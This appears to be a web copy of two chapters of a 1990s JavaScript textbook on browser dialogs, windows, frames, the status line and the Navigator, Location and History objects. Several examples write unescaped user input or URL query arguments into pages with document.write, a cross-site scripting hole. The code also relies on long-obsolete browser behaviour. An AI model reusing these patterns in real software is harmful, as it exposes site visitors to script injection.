The most commonly asked question about these dialog boxes is, "How can I get rid of the `JavaScript Alert:' message?" There is no way to do this. It is there to prevent you from writing malicious code that spoofs system dialogs and tricks users into doing things that they shouldn't do.

Finally, note that JavaScript code keeps executing when an alert() dialog is posted, but both the confirm() and prompt() methods block--that is, those methods do not return until the user dismisses the dialog they display. This means that when you pop one up, your code will stop running and the currently loading document, if any, will stop loading until the user responds with the requested input. There is no alternative to blocking for these methods--their return value is the user's input, so they must wait for the user before they can return.

Example 12.1: Using the alert(), confirm() and prompt() Methods

// Here's a function that uses the alert() method to tell the user
// that their form submission will take some time, and that they should
// be patient. It would be suitable for use in the onSubmit() event handler
// of an HTML form.
// Note that all formatting is done with spaces, newlines, and underscores.
function warn_on_submit()
{
    alert("\n__________________________________________________\n\n" +
          "                  Your query is being submitted....\n"    +
          "__________________________________________________\n\n"   +
          "Please be aware that complex queries such as yours\n"     +
          "     can require a minute or more of search time.\n\n"    +
          "                         Please be patient.");
}
// Here is a use of the confirm() method to ask the user if they really
// want to visit a web page that takes a long time to download. Note that
// the return value of the method indicates the user response. Based
// on this response, we reroute the browser to an appropriate page.
var msg = "\nYou are about to experience the most\n\n" +
          "                -=| AWESOME |=-\n\n" +
          "Web page you have ever visited!!!!!!\n\n" +
          "This page takes an average of 15 minutes to\n" +
          "download over a 28.8K modem connection.\n\n" +
          "Are you ready for a *good* time, Dude????";
if (confirm(msg))
    location.replace("awesome_page.html");
else
    location.replace("lame_page.html");
// Here's some very simple code that uses the prompt() method to get
// a user's name, and then uses that name in dynamically generated HTML.
n = prompt("What is your name?", "");
document.write("<hr><h1>Welcome to my home page, " + n + "</h1><hr>");

Previous | Home | Next
The JavaScript Object Hierarchy | Book Index | Opening and Closing Windows
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 12] 12.2 Opening and Closing Windows

JavaScript: The Definitive Guide

Previous Chapter 12
Programming with Windows 		Next

12.2 Opening and Closing Windows

Earlier in this chapter we learned about the Window.open() and Window.close() methods that open and close browser windows. As you'll recall, the first argument to the open() method specifies a URL to be loaded into the new window, or the empty string if the window should be blank. The second argument is the name for the window. In Navigator, this second argument is optional, but it is required by Internet Explorer 3.0.

The open() method also has an optional third argument that we haven't seen yet. This third argument is a string that contains a comma-separated list of "features" for the new window. These "features" specify whether the window will have a menu bar, whether it will display a toolbar, whether it will be resizable, and so on. The features may also specify what the width and height of the window will be. If you do not specify this third argument, you'll get a full-size window with all the standard features. If you do specify the argument, you get only the features you specify. For example, you could use a line like the following to open a 400x300 window with a location field and a status bar:

smallwin = window.open("", "small", "location,status,width=400,height=300");
The list of available features and complete syntax for the third argument is given in the Window.open() reference page.

One common reason to open new browser windows with reduced sizes and reduced feature sets is to create "dialog boxes" that are more complex than those available through alert() and related methods. Figure 12.2 shows such a "dialog box" in a small browser window.

Figure 12.2: Using a browser window as a dialog box

[Graphic: Figure 12-2]

Example 12.2 shows the code used to create the "dialog box" of Figure 12.2. This example is a function that serves as an error handler. This handler is invoked when the JavaScript interpreter detects an error in code it is executing. The function we define here creates a new window and dynamically generates an HTML document containing details about the error and about the platform the error occurred on, using an HTML form designed to be submitted via email (which provides a way for end users to automatically mail bug reports to a program's author).

Example 12.2: Reporting JavaScript Errors with a Secondary Window

<script>
// a variable we use to ensure that each error window we create is unique
var error_count = 0;
// Define the error handler. It generates an HTML form so
// the user can report the error to the author.
function report_error(msg, url, line)
{
   var w = window.open("",                    // URL (none specified)
                       "error"+error_count++, // name (force it to be unique)
                       "resizable,status,width=625,height=400"); // features
   var d = w.document;    // We use this variable to save typing!
   // Output an HTML document, including a form, into the new window.
   d.write('<DIV align=center>');
   d.write('<FONT SIZE=7 FACE="helvetica"><B>');
   d.write('OOPS.... A JavaScript Error Has Occurred!');
   d.write('</B></FONT><BR><HR SIZE=4 WIDTH="80%">');
   d.write('<FORM ACTION="mailto:david@ora.com" METHOD=post');
   d.write(' ENCTYPE="text/plain">');
   d.write('<FONT SIZE=3>');
   d.write('<I>Click the "Report Error" button to send a bug report.</I><BR>');
   d.write('<INPUT TYPE="submit" VALUE="Report Error">&nbsp;&nbsp;');
   d.write('<INPUT TYPE="button" VALUE="Dismiss" onClick="self.close()">');
   d.write('</DIV><DIV align=right>');
   d.write('<BR>Your name <I>(optional)</I>: ');
   d.write('<INPUT SIZE=42 NAME="name" VALUE="">');
   d.write('<BR>Error Message: ');
   d.write('<INPUT SIZE=42 NAME="message" VALUE="' + msg + '">');
   d.write('<BR>Document: <INPUT SIZE=42 NAME="url" VALUE="' + url + '">');
   d.write('<BR>Line Number: <INPUT SIZE=42 NAME="line" VALUE="' + line +'">');
   d.write('<BR>Browser Version: ');
   d.write('<INPUT SIZE=42 NAME="version" VALUE="'+navigator.userAgent + '">');
   d.write('</DIV></FONT>');
   d.write('</FORM>');
   // Remember to close the document when we're done.
   d.close();
   // Return true from this error handler, so that JavaScript does not
   // display its own error dialog.
   return true;
}
// Before the event handler can take effect, we have to register it
// for a particular window.
self.onerror = report_error;
</script>
<script>
// The following line of code causes the error that creates the dialog
// box shown in the accompanying figure.
self = null;
</script>

Example 12.2 demonstrates a number of important techniques for programming with windows. First, of course, it shows how you can create a window with reduced size and few extraneous features. It also shows how this window can close itself when the user clicks the "Dismiss" button. Perhaps most important, it demonstrates the fundamentally important technique of using JavaScript code running in one window to dynamically create an HTML document in another window. It does this using the Document.write() method, of course, and it uses that method to create a relatively complex HTML form in the new window. The details of the form are not particularly important here--we'll study the Form object and form elements in Chapter 17, Forms and Form Elements--what is important is the way that the form is dynamically created.

In addition to the above techniques, Example 12.2 also demonstrates the use of the Window.onerror() event handler, and in fact, the example consists primarily of an onerror() event handler. This event handler is new in Navigator 3.0--it is invoked by JavaScript when any sort of error occurs in the JavaScript interpreter. The handler is passed three arguments that specify the error message, the document it occurred in, and the line number it occurred at. It can use these arguments to handle the error any way it chooses. If the handler returns true, as it does in this example, then JavaScript will not display its own error message dialog. Because this event handler is passed arguments, there is no appropriate syntax for defining it as the value of an HTML attribute. For this reason, it must be defined by assigning a function to the onerror property of a window, in the same way that you would define a method of an object.

Previous | Home | Next
Simple Dialogs | Book Index | The Status Line
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 12] 12.3 The Status Line

JavaScript: The Definitive Guide

Previous Chapter 12
Programming with Windows 		Next

12.3 The Status Line

At the bottom of every browser window (except for those we open() without it) is a status line. This is a location in which the browser can display messages to the user. When you move the mouse over a hypertext link, for example, the browser displays the URL that the link points to. And when you move the mouse over a browser control button, the browser displays a simple "context help" message that explains the purpose of the button. You can also make use of this status line in your own programs--its contents are controlled by two properties of the Window object: status and defaultStatus.

We've just said that browsers display the URL of a hypertext link when you pass the mouse pointer over the link. This is generally the case, but in your excursions through the web, you may have found some links that don't behave this way--links that display some text other than the link's URL. This is done with the status property of the Window object, and the onMouseOver() event handler of hypertext links, as shown in Example 12.3.

Example 12.3: Displaying a Link's Destination in the Status Line

<!-- Here's how you set the status line in a hyperlink.
  -- Note that the event handler *must* return true for this to work. -->
Lost? Dazed and confused? Visit the
<A HREF="sitemap.html" onMouseOver="status='Go to Site Map'; return true;">
  Site Map
</A>
<!-- You can do the same thing for client-side image maps.-->
<IMG SRC="images/imgmap1.gif" USEMAP="#map1">
<MAP NAME="map1">
  <AREA COORDS="0,0,50,20" HREF="info.html"
    onMouseover="status='Visit our Information Center'; return true;">
  <AREA COORDS="0,20,50,40" HREF="order.html"
    onMouseOver="status='Place an order'; return true;">
  <AREA COORDS="0,40,50,60" HREF="help.html"
    onMouseOver="status='Get help fast!'; return true;">
</MAP>

In Example 12.3 note that the onMouseOver() event handler must return true. This tells the browser that it should not perform its own default action for the event--that is, it should not display the URL of the link in the status line. If you forget to return true, then the browser will overwrite whatever message the handler displayed in the status line with its own URL.

When you move the mouse pointer over a hyperlink, the browser displays the URL for the link, and then erases it when the mouse moves off the hyperlink. The same is true when you use an onMouseOver() event handler to set the Window status property--your custom message will be displayed while the mouse is over the hyperlink, and then will be erased when it moves off the link. Or that is the way it is supposed to work, anyway. In the Windows version of Navigator (but not the Mac or X11 versions), the status line is not automatically cleared when you set the status property from an onMouseOver() event handler. To force it to be erased, you can use the onMouseOut() event handler, like this:

<A HREF="sitemap.html"
   onMouseOver="status='Go to Site Map'; return true;"
   onMouseOut="status='';">
Site Map
</A>

The status property is intended for exactly the sort of transient message we saw above. Sometimes, though, you want to display a message that is not so transient in the status line--for example, you might display a welcome message to users visiting your web page, or might display a simple line of help text for novice visitors. To do this, you set the defaultStatus property of the Window--this property specifies the default text displayed in the status line. That text will temporarily be replaced with URLs, context help messages, or other transient text when the mouse pointer is over hyperlinks or browser control buttons, but once the mouse moves off of those areas, the default text will be restored.

You might use the defaultStatus property like this to provide a friendly and helpful message to real beginners:

<SCRIPT>
defaultStatus = "Welcome!  Click on underlined blue text to navigate.";
</SCRIPT>
If your web page contained an HTML form, you might change the defaultStatus property as the user enters data in the form, in order to to display step-by-step instructions for completing it.

Any time you can programmatically set a value and cause a user-visible change to appear on the screen, the true JavaScript programmer's mind turns immediately to the possibilities of animation--that is of updating a value (that updates the screen) periodically to produce some sort of special effect. In general, animations involving the status bar are gaudy and in very poor taste; shun them!

On the other hand, status bar animation is interesting because it demonstrates important JavaScript programming techniques, including the use of the Window.setTimeout() method. Example 12.4 shows a simple status bar animation (that is in good taste). It displays the current time in the status bar, and updates that time once a minute. Because the update only occurs once a minute, this animation does not produce a constant flickering distraction at the bottom of the browser window like so many others do. Note the use of the setTimeout() method in this example--it causes JavaScript code to be executed after a specified number of milliseconds elapse. It was first introduced in Chapter 10, Client-Side Program Structure. Also note the use of the onLoad() event handler to start the clock running. onLoad() is an event handler of the Window object, and is specified here as an attribute of the <BODY> tag. It was first introduced in Chapter 10, Client-Side Program Structure.

Example 12.4: A Digital Clock in the Status Line

<HTML>
<HEAD>
<SCRIPT>
// This function displays the time in the status line.
// Invoke it once to activate the clock; it will call itself from then on.
function display_time_in_status_line()
{
    var d = new Date();                // get current time;
    var h = d.getHours();              // extract hours: 0 to 23
    var m = d.getMinutes();            // extract minutes: 0 to 59
    var ampm = (h >= 12)?"PM":"AM";    // is it am or pm?
    if (h > 12) h -= 12;               // convert 24-hour format to 12-hour
    if (h == 0) h = 12;                // convert 0 o'clock to midnight
    if (m < 10) m = "0" + m;           // convert 0 minutes to 00 minutes, etc.
    var t = h + ':' + m + ' ' + ampm;  // put it all together
    defaultStatus = t;                 // display it in the status line
    // arrange to do it all again in 1 minute.
    setTimeout("display_time_in_status_line()", 60000); // 60000 ms in 1 minute
}
</SCRIPT>
</HEAD>
<!-- Don't bother starting the clock 'till everything is loaded. The
  -- status line will be busy with other messages during loading, anyway -->
<BODY onLoad="display_time_in_status_line();">
<!-- The HTML document contents go here -->
</BODY>
</HTML>

If you write a JavaScript program that performs any sort of lengthy computation, you might decide to use a simple status bar animation to give the user feedback that your program is computing, and is making progress. Without some kind of feedback, there is a danger that the user might think the browser has hung. Unfortunately, this sort of animation won't work. You can update the defaultStatus and status properties at any time, but your specified text won't actually appear in status line until all the JavaScript code that is running completes. Thus, if you attempt to animate the line to indicate progress during a lengthy computation, none of your updates to the status line will actually appear to the user.

Previous | Home | Next
Opening and Closing Windows | Book Index | Frame Programming Techniques
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 12] 12.4 Frame Programming Techniques

JavaScript: The Definitive Guide

Previous Chapter 12
Programming with Windows 		Next

12.4 Frame Programming Techniques

In a section above we demonstrated that it is possible to open a new browser window, and to dynamically create a HTML document within that new window. This is a very powerful technique in JavaScript, and it applies not only to new browser windows, but also to frames. In fact, it is much more common to create a web site that uses multiple frames than it is to create one that uses multiple browser windows. The key to successful programming with frames is knowing how to refer to one frame from another. Recall that every Window object (which means every browser window, and every frame within a window or within another frame) has a frames[] array, and also parent, top, self, and window properties. You might want to refer back to Figure 11.1 to refresh your memory about how each of these properties work.

Once you know how to refer to any frame from any other frame, you can start writing JavaScript programs that work in complex framed documents. Pay careful attention to how you name frames, and be aware of what window any given piece of code is running in. For example, if an event handler in frame A invokes a function that is defined in frame B, the code in that function is running in frame A, not frame B--and if the code wants to refer to frame B, it can't just use the implicit window reference, as it could if it were actually running in frame B. When you encounter complexities like these, it is helpful to give each frame a name, and refer to them by name rather than by number. (Recall that giving a frame a name creates a property with that name in the frame's parent.) When you are working with frames that are nested, at multiple levels, however you may want to create some "global" properties of the top-level browser window that refer to each of the frames in your program, no matter how many levels down they are nested. Then, for example, you can refer to frames with expressions like top.frameB, and know that you are referring to the right frame, regardless of what frame the expression is evaluated in. The key here is to create an absolute naming convention for frames rather than using the relative naming convention that JavaScript provides by default.

As we saw in the error handler example, JavaScript code in one window (or frame) can dynamically create an HTML document in another window (or frame). It is a lot harder for JavaScript code to dynamically create a new HTML document in its own window or frame, because doing this generally overwrites the JavaScript code itself! If your web page design calls for one static frame and two frames that have their contents dynamically updated, the static frame can contain the JavaScript code necessary to update the dynamic frames. But what if your design calls for all the frames to be dynamic? A static frame is still required, but the trick here is to create the static frame so that it is invisible! You do this by explicitly creating it at a location that is greater than 100% of the frame width or height. HTML to create such an invisible frame is shown in Example 12.5.

Example 12.5: Creating an Invisible Frame

<!-- Create two frames that take up half the screen each, and one that -->
<!-- takes up "all the rest" of the room. The third frame will be -->
<!-- invisible, because it has a height of zero. -->
<frameset rows="50%,50%,*">
<!-- first two frames start out empty, loading no documents -->
<frame name="dynamic_frame_1">
<frame name="dynamic_frame_2">
<!-- invisible frame contains the code that will -->
<!-- dynamically update the others -->
<frame name="invisible_frame" src="program.html">
</frameset>

A technique related to dynamically generating frame content is the use of the TARGET attribute of <A>, <AREA>, and <FORM> tags. This attribute was discussed in the last chapter--it directs the browser to load the URL pointed to by a hyperlink into the named frame or window, or to load the results of form submission into the named frame. This, too, is a very useful way to change the contents of one frame from another frame.

Another HTML technique that is possible with frames in Navigator 3.0 is creating borderless frames. A borderless frame is visible to the user but its border is not. You can use borderless frames when you want an region of the screen that can display HTML content independently of the rest of the page, but which fits "seamlessly" with its neighboring frames. You can create borderless frames with attributes like those shown here. Note that the entire frameset must be borderless, since if one frame is borderless, its adjoining neighbors must be borderless, too:

<frameset border=no width=0 rows="10%,*">
  <frame name="banner" src="ad.html">
  <frame name="main" src="content.html">
</frameset>
This HTML fragment hints at one possible use of borderless frames: to create "banner" regions at the top (or bottom) of web pages that do not scroll with the main part of the page. These are useful, of course, for company logos, advertisements, and the like.

We'd described how you can use JavaScript running in one frame to dynamically create HTML content for another frame. But in this discussion we have always created the frames themselves with a frameset specified in a static HTML file. Since frames are specified in HTML, there is no reason we cannot create them dynamically as well. Example 12.6 shows how it can be done. This example opens a small new window, dynamically creates four frames in it, and then, using the setTimeout() method, periodically changes the background color of each frame, creating a simple but colorful animated display, which is pictured in Figure 12.3. The Stop button in the original window stops the animation using clearTimeout() and closes the new window using the Window.close() method. This example brings together many of the window and frame programming techniques we've been discussing.

Figure 12.3: A simple animation in dynamically created frames

[Graphic: Figure 12-3]

Example 12.6: Dynamically Creating and Animating Frames

<HTML>
<HEAD>
<SCRIPT LANGUAGE="JavaScript1.1">
// open a new window
var n = window.open('', 'f', 'width=400,height=400');
// dynamically create frames in that new window
// note the use of the special about:blank URL to get empty frames
n.document.write('<frameset rows="50%,50%" cols="50%,50%">');
n.document.write('<frame name="f1" src="about:blank">');
n.document.write('<frame name="f2" src="about:blank">');
n.document.write('<frame name="f3" src="about:blank">');
n.document.write('<frame name="f4" src="about:blank">');
n.document.write('</frameset>');
n.document.close();
// an array of the colors we cycle through for the animation
colors = new Array("red","green","blue","yellow","white");
// an array of the frames we cycle through (in this order)
windows = new Array(n.f1, n.f2, n.f4, n.f3);
// the current color and frame counters
var c = 0, f = 0;
// a variable that holds the current timeout id (used to cancel the timeout)
var timeout = null;
// This function sets the "next" frame in the list to the "next" color
// in the list. We call it once to start the animation, and then it
// arranges to invoke itself every quarter second after that.
function change_one_frame()
{
    // dynamically output the HTML necessary to set the background color
    windows[f].document.write('<BODY BGCOLOR="' + colors[c] + '">');
    windows[f].document.close();
    f = (f + 1) % 4;  // increment frame counter
    c = (c + 1) % 5;  // increment color counter

    // arrange to be called again in 250 milliseconds and
    // save the timeout id so that we can stop this crazy thing
    timeout = setTimeout("change_one_frame()", 250);
}
</SCRIPT>
</HEAD>
<!-- start the frame animation when the document is fully loaded -->
<BODY onLoad="change_one_frame();">
<!-- Create a button to stop the animation with clearTimeout() -->
<!-- and close the window with close(). -->
<FORM>
  <INPUT TYPE="button" VALUE="Stop"
     onClick="if (timeout) clearTimeout(timeout); if (!n.closed) n.close();">
</FORM>
</BODY>
</HTML>

Previous | Home | Next
The Status Line | Book Index | Other Window Programming Techniques
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 12] 12.5 Other Window Programming Techniques

JavaScript: The Definitive Guide

Previous Chapter 12
Programming with Windows 		Next

12.5 Other Window Programming Techniques

There are a few miscellaneous useful properties and methods of the Window object. The name, opener, and closed properties were already mentioned briefly earlier in this chapter. The name property specifies the name of a window or frame. In Navigator 3.0 (but not Internet Explorer 3.0), this property can be set, thereby changing the window name, which can be useful in conjunction with the TARGET attribute, for example. The opener property is created when a Navigator 3.0 (or Internet Explorer 3.0) browser window is opened--it refers to the window that most recently called the open() method for the window. closed is another Navigator 3.0 property--it specifies whether a window has already been closed. If so, then your JavaScript code should not make any further use of that window.

The focus() and blur() methods of the Window object transfer keyboard focus to, and away from, the window. If you call focus() on a browser window that is currently obscured on the desktop, it will be brought to the top and made visible. These two methods have corresponding onfocus() and onblur() event handlers that are invoked when a window gains or loses focus. Note that blur() and focus() are not supported for Window objects in Internet Explorer 3.0.

The scroll() method scrolls the contents of a window (or frame), just as if the user had used the window's scrollbars explicitly. The two arguments to this method are the absolute X and Y pixel coordinates that the document should be scrolled to. The document in the window moves so that these coordinates are in the upper-left corner of the window. For example, you can more to the top of a document with:

self.scroll(0,0);
If you know you are at the top, and want to scroll down 100 pixels, you might write:

self.scroll(0,100);
Note that the scroll() method is not as useful as it could be because there is no way to find out how big the window is, and there is no way to find out how many pixels tall each line of text is.

Finally, the Window object has a number of other properties, such as document, location and history, and we've seen some of these used in examples in this chapter. These properties, and others like them, simply refer to other HTML objects. These objects, and their methods and properties, are documented in the chapters that follow.

Previous | Home | Next
Frame Programming Techniques | Book Index | The Navigator, Location, and History Objects
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 13] The Navigator, Location, and History Objects

JavaScript: The Definitive Guide

Previous Chapter 13 Next

13. The Navigator, Location, and History Objects

Contents:
The Navigator, MimeType, and Plugin Objects
The Location Object
The History Object

The Window object contains references to three objects that contain information about the browser or the browser window itself, rather than information about the contents of the window:

  • The Navigator object provides version and configuration information about the browser.

  • The Location object specifies the URL currently being displayed, and allows JavaScript code to load new URLs.

  • The History object contains information about the URLs that have been previously displayed in the window.

This chapter documents each of these Window-related objects.

13.1 The Navigator, MimeType, and Plugin Objects

The Window.navigator property refers to a Navigator object which contains information about the web browser as a whole (such as the version, and the list of data formats it can display). The Navigator object is named after Netscape Navigator, obviously, but it is also supported (although only partially) by Internet Explorer.

The Navigator object has four properties that provide version information about the browser that is running. The appName property contains the name of the browser. The appVersion property contains information about the version number and platform of the browser. The userAgent property contains the string that the browser sends in its USER-AGENT header in HTTP requests. Finally, the appCodeName property contains the "code name" of the browser, which, in general is not particularly useful. Each of these properties is a string in human-readable format, so extracting version information can be a little tricky. See the reference pages for details on the string formats.

In Navigator 3.0, the Navigator object also defines two methods that provide further information about the capabilities of the browser. javaEnabled() returns true if the browser supports Java, and if it is enabled; otherwise it returns false. Similarly, taintEnabled() returns true if and only if the browser supports a data-tainting security model, and if that model is enabled.

The remaining two properties of the Navigator object are the mimeTypes[] array and the plugins[] array, which specify the data types that the browser can display and the plug-ins that are installed. These arrays are only available in Navigator 3.0. The subsections below contain more details on these arrays.

Determining Browser Version Information

We saw above that the Navigator object has four properties that contain information about the browser version. This information is useful when you need to work around bugs in particular versions, or make use of special features found in one browser but not another, for example. Unfortunately, it can be a little difficult to access the information in a convenient way. Example 13.1 shows how you can use the Navigator object to determine what browser is being used, what version of that browser, and what platform it is running on. The code in this example stores the information in more convenient properties of a new browser object.

Example 13.1: Getting Browser Version Information

<SCRIPT>
// Return the version number times 1000. This means that version
// 2.02 would yield 2020, and version 3.0 would yield 3000.
// We multiply because Navigator versions 2.0x convert numbers like
// 2.02 to strings like "2.0199999999875".
function _get_version()
{
    return Math.round(parseFloat(navigator.appVersion) * 1000);
}
// Figure out the OS we are running on, based on the appVersion property.
function _get_os()
{
    if (navigator.appVersion.indexOf("Win95") > 0) return "WIN95";
    else if (navigator.appVersion.indexOf("Win16") > 0) return "WIN31";
    else if (navigator.appVersion.indexOf("Mac") > 0) return "MAC";
    else if (navigator.appVersion.indexOf("X11") > 0) return "UNIX";
    else return "UNKNOWN";
}
// Create the object we'll use to store the version information.
var browser = new Object();
// First, check if it is a Netscape browser.
if (navigator.appName.substring(0,8) == "Netscape") {
    // if so, set the name variable appropriately
    browser.name =  "NN";
    // then parse navigator.appVersion to figure out what version
    browser.version = _get_version();
    // Then use appVersion again to determine the OS.
    browser.os = _get_os();
}
// Otherwise, see if it is a Microsoft browser.
//
// If so, we set all the variables directly, because MSIE only has
// one JavaScript-enabled version, and it only runs on one platform.
// We don't use Navigator.appVersion to compute the version number, because
// it returns a Netscape-compatible value of 2.0 rather than the true
// MSIE version number 3.0. We don't use it to compute the OS, because
// MSIE encodes that information with different strings than Navigator
// does, so we can't use the _get_os() function above.
//
// This code will have to be updated when a new version of MSIE is released
// but we'll have to wait and see how MS encodes the information in the
// various Navigator object properties before we can update the code.
else if (navigator.appName.substring(0,9) == "Microsoft") {
    browser.name = "MSIE";
    browser.version = 3000;
    browser.os = "WIN95";
}
// Otherwise, it is some unknown browser that supports JavaScript.
// So we try to guess the browser name, version number and os, assuming
// that this browser stores the information in the same format as Navigator.
else {
    browser.name = navigator.appName;
    browser.version = _get_version();
    browser.os = _get_os();
}
// Now figure out what version of JavaScript is supported by the browser.
// Start by assuming that only version 1.0 is supported.
browser.langlevel = 1000;
</SCRIPT>
<SCRIPT LANGUAGE="JavaScript1.1">
// If the browser supports JavaScript 1.1, update the langlevel variable.
browser.langlevel = 1100;
</SCRIPT>
<SCRIPT LANGUAGE="JavaScript1.2">
// If the browser supports JavaScript 1.2, update the langlevel variable.
browser.langlevel = 1200;
</SCRIPT>

The MimeType Object

In Navigator 3.0, the navigator.mimeTypes[] property is an array of MimeType objects, each of which describe one MIME data format ("text/html", and "image/gif", for example) that the web browser can display (either directly, with an external helper application, or with a plug-in.) The MimeType object itself contains properties that describe the data format.

The mimeTypes[] array is indexed numerically, but is also an associative array, indexed by the name of the MIME type. Thus, you can easily check for support of a given data format on the browser:

// Check to see if the browser can display MPEG files.
var show_movie = (navigator.mimeTypes["video/mpeg"] != null);

If you want to determine whether a given MIME type is supported by a plug-in (instead of a helper application, for example), you can examine the enabledPlugin property of the MimeType object. If it is null, then no plug-in supports the object. Otherwise, this property refers to a Plugin object that represents the plug-in that is configured to display data of the specified format.

The Plugin Object

In Navigator 3.0, the navigator.plugins[] property is an array of Plugin objects, each of which represents one plug-in module that has been installed in the browser. The properties of the Plugin object provide various details about the plug-in. The Plugin object also contains array elements, which are a MimeType objects describing each of data formats supported by that particular plug-in. Note that this array is different than the navigator.mimeTypes[] array described above.

You can use the plugins[] property as an associative array, just as you can the mimeTypes[] property. This lets you check for the existence of a particular plug-in without having to loop through the array numerically and check every element:

// Check to see if the browser has the Shockwave plug-in installed.
var shocked = (navigator.plugins["Shockwave"] != null);

Previous | Home | Next
Other Window Programming Techniques | Book Index | The Location Object
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 13] 13.2 The Location Object

JavaScript: The Definitive Guide

Previous Chapter 13
The Navigator, Location, and History Objects 		Next

13.2 The Location Object

The location property of a window is a reference to a Location object, which is a representation of the URL of the document currently being displayed in that window. The href property of the Location object is a string that contains the complete text of the URL. Other properties of this object, such as protocol, host, pathname, and search specify the various individual parts of the URL. This search property of the Location object is an interesting one. It contains any portion of a URL following (and including) a question mark. This is often some sort of "query string", and in general, the question mark syntax in a URL is a technique for embedding arguments in the URL. While these arguments are usually intended for CGI scripts run on a server, there is no reason they cannot also be used in JavaScript-enabled pages. Example 13.2 shows how you can use JavaScript and the Location object to extract arguments embedded within your web page.

Example 13.2: Extracting Arguments from a URL

<SCRIPT LANGUAGE="JavaScript1.1">
// location.search has a question mark at the beginning,
// so we call substring() to get rid of it.
var argstr = location.search.substring(1, location.search.length)
// Assuming that the arguments are passed in a comma-separated list, we
// can break them into an array with this line. (Using an ampersand to
// separate arguments is another common URL convention.)
var args = argstr.split(',');
// Now we can use the arguments however we want. This example just
// prints them out. We use the unescape() function in case the arguments
// include escaped characters (like spaces and punctuation) that are
// illegal in URLs. (See escape() and unescape() functions for details.)
for (var i = 0; i < args.length; i++)
    document.write(unescape(args[i]) + "<BR>");
</SCRIPT>

In addition to its properties, the Location object can be used as if it were itself a primitive string value. If you read the value of a Location object, you get the same string as you would if you read the href property of the object (this is because the Location object has a suitable toString() method). What is far more interesting, though, is that you can assign a new URL string to the location property of a window. Assigning a URL to the Location object like this has a very important side effect: it causes the browser to load and display the contents of the URL you assign (this side effect occurs because the Location has a suitable assign() method). For example, you might assign a URL to the location property like this:

// If Java isn't enabled, go to a page that displays a message
// saying that you can't run this page without Java.
if (!navigator.javaEnabled())
    location = "needsjava.html";

As you can imagine, making the browser load specified web pages into windows is a very important programming technique. While you might expect there to be a method you can call to make the browser display a new web page, assigning a URL to the location property of a window is the supported technique to accomplish this. Internet Explorer supports a navigate() method of the Window object to do this, but it is not compatible with Navigator, and therefore should not be used.

Although the Location object does not have a method that serves the same function as assigning a URL directly to the location property of a window, this object does support two methods (in Navigator 3.0). The reload() method reloads the currently displayed page from the web server. The replace() method loads and displays a URL that you specify. But invoking this method for a given URL is different than assigning that URL to the location property of a window. When you call replace(), the specified URL "replaces" the current one in the browser's history list rather than creating a new entry in that history list. Therefore, if you use replace() to overwrite one document with a new one, the Back button will not take the user back to the original document, as it would have if you had loaded the new document by assigning to the location property. For web sites that use frames and display a lot of "temporary" pages (perhaps generated by a CGI script) using replace() is often quite useful. By not storing temporary pages in the history list, the Back button becomes more useful to the user.

Finally, don't confuse the location property of the Window object, which refers to a Location object, with the location property of the Document object, which is simply a read-only string with none of the special features of the Location object. Document.location is a synonym for Document.URL, which, in Navigator 3.0, is the preferred name for this property (because it avoids the potential confusion). In most cases, document.location is the same as location.href. When there is a server redirect, however, document.location contains the actual URL, as loaded, and location.href contains the URL as originally requested.

Previous | Home | Next
The Navigator, MimeType, and Plugin Objects | Book Index | The History Object
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 13] 13.3 The History Object

JavaScript: The Definitive Guide

Previous Chapter 13
The Navigator, Location, and History Objects 		Next

13.3 The History Object

The history property of the Window object refers to a History object for the window. The History object is an array of the URLs in the browsing history of the window or frame. For a top-level Navigator window, the History object is a representation of the contents of the browser's Go menu.

A user's browsing session history is private information and, so for security reasons, there are heavy restrictions on how the History object can be used. In Navigator 3.0, with the data-tainting security model enabled, (see Chapter 20, JavaScript Security) the elements of the history array are accessible to JavaScript programs. On all other platforms, however, they are never accessible, and the History object is much less useful. In Navigator, the length property of the History object can be read, although it is not actually good for much. In Internet Explorer, even this length property is hidden for security reasons--querying it always returns 0.

Besides its array elements and length property, the History object also supports three methods. The back() and forward() methods perform the same action as clicking on the Back and Forward browser buttons. The third method, go(), suffers from bugs in Navigator 2.0 and 3.0, and has incompatible behavior in Internet Explorer; it is best avoided. Example 13.3 shows how you might use the back() and forward() methods of the History object, and also the Location object to add a "navigation bar" to a framed web site. Figure 13.1 shows what it looks like.

Figure 13.1: A navigation bar

[Graphic: Figure 13-1]

Example 13.3: A Navigation Bar Using the History and Location Objects

<!--  This file implements a navigation bar, designed to go in a frame at
      the bottom of a window. Include it in a frameset like the following:
        <frameset rows="*,75">
        <frame src="about:blank">
        <frame src="navigation.html">
        </frameset>
-->
<SCRIPT>
// The function is invoked by the Back button in our navigation bar.
function go_back()
{
    // First, clear the URL entry field in our form
    document.navbar.url.value = "";
    // Then use the History object of the main frame to go back.
    parent.frames[0].history.back();
    // Wait a second, and then update the URL entry field in the form
    // from the location.href property of the main frame. The wait seems
    // to be necessary to allow the location.href property to get in sync.
    setTimeout("document.navbar.url.value = parent.frames[0].location.href;",
               1000);
}
// This function is invoked by the Forward button in the navigation bar.
// It works just like the one above.
function go_forward()
{
    document.navbar.url.value = "";
    parent.frames[0].history.forward();
    setTimeout("document.navbar.url.value = parent.frames[0].location.href;",
               1000);
}
// This function is invoked by the Go button in the navigation bar, and also
// when the form is submitted (when the user hits the Return key).
function go_to()
{
    // Just set the location property of the main frame to the URL
    // that the user typed in.
    parent.frames[0].location = document.navbar.url.value;
}
</SCRIPT>
<!-- Here's the form, with event handlers that invoke the functions above -->
<FORM NAME="navbar" onSubmit="go_to(); return false">
<INPUT TYPE="button" VALUE="Back"  onClick="go_back();">
<INPUT TYPE="button" VALUE="Forward"  onClick="go_forward()">
URL:
<INPUT TYPE="text" NAME="url" SIZE=50">
<INPUT TYPE="button" VALUE="Go" onClick="go_to()">
</FORM>

Previous | Home | Next
The Location Object | Book Index | Documents and Their Contents
